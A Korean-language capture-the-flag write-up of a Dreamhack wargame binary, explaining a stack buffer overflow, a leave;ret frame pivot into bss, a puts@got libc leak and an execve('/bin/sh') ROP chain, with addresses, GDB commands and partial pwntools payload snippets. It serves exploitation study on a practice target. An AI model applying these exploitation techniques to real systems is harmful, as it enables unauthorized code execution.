buf[0x30]에 read(0, buf, 0x40)을 호출해서 SFP/RIP까지 덮는 BOF가 터진다. leave; ret로 RBP 프레임을 bss로 피벗시키고, main 내부 read 블록을 재사용해서 bss에 ROP를 조립한다. puts(puts@got)로 libc를 릭한 뒤, libc 베이스 기준으로 execve("/bin/sh",0,0) 체인을 구성해서 마무리한다. 처음엔 그냥 BOF 같아 보이는데, 가젯도 부족하고 릭도 없어 보여서 헷갈리기 쉬운 타입이다.
근데 이 문제는 “가젯 찾아서 화려하게 ROP”가 핵심이 아니라, main 에필로그의 leave; ret로 프레임을 bss로 옮기고, main 내부 read 코드 블록을 재사용해서 bss에 체인을 쌓는 구조가 핵심이다.
main() 내부에 정의되어 있는 buf의 크기는 0x30인데, 0x40만큼의 입력을 받기 때문에 스택 버퍼 오버플로가 발생한다. 따라서 main() 에필로그의 leave, ret 과정을 이용해 프로그램의 흐름을 임의로 조작할 수 있다.
취약 부분(의미만):
// Title: vulnerable read
char buf[0x30];
read(0, buf, 0x40); // overflow
leave; ret가 먹히냐leave와 ret은 사실상 아래 동작이다.
leave:rsp = rbprbp = [rsp]ret:rip = [rsp+8]즉, BOF로 saved rbp(SFP) 와 saved rip를 덮으면 함수 종료 시점에:
를 내가 정할 수 있다.
로컬에서 보이는 libc 주소(예: 0x7ffff7...)를 그대로 원격에 쓰면 깨진다. ASLR 때문에 libc 베이스가 매번 바뀌기 때문이다.
그래서 릭 없이 system/execve 실제 주소를 바로 호출하는 방식은 실패한다.
이 바이너리는 pop rdi 같은 최소 가젯은 있어도, pop rsi, pop rdx 같은 인자 세팅 가젯이 빈약한 편이다.
그래서 “가젯 수집전”으로 밀면 시간만 날리기 쉽다.
read 블록이 사실상 가젯이다main을 보면 다음 블록이 존재한다:
0x401211: lea rax, [rbp-0x30]
0x401215: mov edx, 0x40
0x40121a: mov rsi, rax
0x40121d: mov edi, 0
0x401222: call read@plt
...
0x40123b: leave
0x40123c: ret
여기서 핵심:
read의 목적지 = rbp - 0x30read는 자동으로 bss로 써준다.초기 main 스택 프레임:
stack (main)
rbp -> +------------------------+
| saved rbp (SFP) |
+------------------------+
| saved rip |
+------------------------+
| buf[0x30] |
rsp -> +------------------------+
BOF로 덮는 목표:
그 다음 함수 종료 시:
leave; ret
rsp = rbp
rbp = [rsp] <- 내가 덮어둔 값
rip = [rsp+8] <- 내가 덮어둔 값
결과적으로 “가짜 스택 프레임을 bss에 만들고 그걸 타는 구조”가 된다.
1) SFP 조작을 이용해 rbp를 bss 영역으로 조작하고 main() 내부의 read()로 리턴
2) bss 영역에 ROP Chain 구성: puts(puts@got)
3) puts@got 릭을 통해 libc 베이스 주소 계산
4) 릭한 libc base 주소를 기반으로 /bin/sh, execve(), pop rsi 가젯 주소 계산
5) 다시 main() 내부의 read()를 이용해 bss 영역에 ROP Chain 구성: execve("/bin/sh", 0, 0)
6) 구성한 ROP Chain으로 셸 실행
| 항목 | 값/의미 | 설명 |
|---|---|---|
| buf 크기 | 0x30 | rbp-0x30 |
| read 길이 | 0x40 | BOF 발생 |
| RIP 오프셋 | 0x38 | 0x30 + 8(sfp) |
| read 블록 시작 | 0x401211 | lea rax, [rbp-0x30] |
| read 호출 지점 | 0x401222 | call read@plt |
| leave; ret | 0x40123b | 프레임 피벗 |
| pop rdi; ret | 0x4011db | 1번째 인자 세팅 |
| plt0 | 0x401020 | .plt 첫 엔트리 |
두 번째 read 직전 레지스터가 이렇게 나오면 성공이다:
rbp = 0x404830rsi = 0x404800 (= rbp-0x30)rdx = 0x40GDB/pwndbg 명령어:
b *0x401222
b *0x40123b
# ...
i r rsi rbp rdx rip
bss에 0x40을 전부 B로 채우면, bss의 특정 오프셋이 다음 흐름이 된다.
bss+0x30 : next rbpbss+0x38 : next rip여기도 0x424242...가 되면 leave; ret 이후 바로 크래시 나는 게 정상이다.
| 교훈 | 내용 |
|---|---|
| BOF는 시작일 뿐이다 | 가젯 부족/릭 부재면 “프로그램 내부 코드 재사용”으로 풀어야 한다 |
leave; ret는 피벗이다 | saved rbp를 조작하면 스택 프레임 자체를 옮길 수 있다 |
| bss는 작업장이다 | 큰 ROP/데이터를 bss에 쌓고, 마지막에 그걸 실행한다 |
| 릭이 있으면 ret2libc가 열린다 | puts@got 같은 릭으로 libc base를 얻는 순간 게임이 바뀐다 |
아래는 “구조를 설명하기 위한 스니펫”이다.
# Title: stage1 pivot into bss
from pwn import *
e = ELF("./chall")
bss = e.bss()
read_blk = 0x401211
payload = b"A" * 0x30
payload += p64(bss + 0x300) # saved rbp -> bss로 피벗
payload += p64(read_blk) # saved rip -> main read 블록으로 재진입
# send(payload)
# Title: stage2 leak idea
from pwn import *
e = ELF("./chall")
bss = e.bss()
pop_rdi = 0x4011db
leave_ret = 0x40123b
read_blk = 0x401211
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]
# bss 프레임에 "puts(puts@got) -> 다시 read" 체인 조립
chain = p64(bss + 0x400) # 다음 rbp(프레임) 위치
chain += p64(pop_rdi)
chain += p64(puts_got)
chain += p64(puts_plt)
chain += p64(read_blk)
# bss 프레임 규칙 때문에 뒤쪽(next rbp/next rip)를 맞춰야 하는데,
# 이건 디버깅으로 프레임 레이아웃을 확인하면서 조정한다.
이 문제는 “ret2libc 박치기”로 풀리는 문제가 아니라, 프레임 피벗을 전제로 bss에 체인을 조립하는 문제라는 걸 이해하는 순간 길이 열린다.
특히 main 내부 read(rbp-0x30, 0x40) 블록이 사실상 “가젯 세트”라는 점을 깨닫는 게 핵심이다.
출처: Dreamhack 워게임(문제/환경 기반 개인 학습 정리)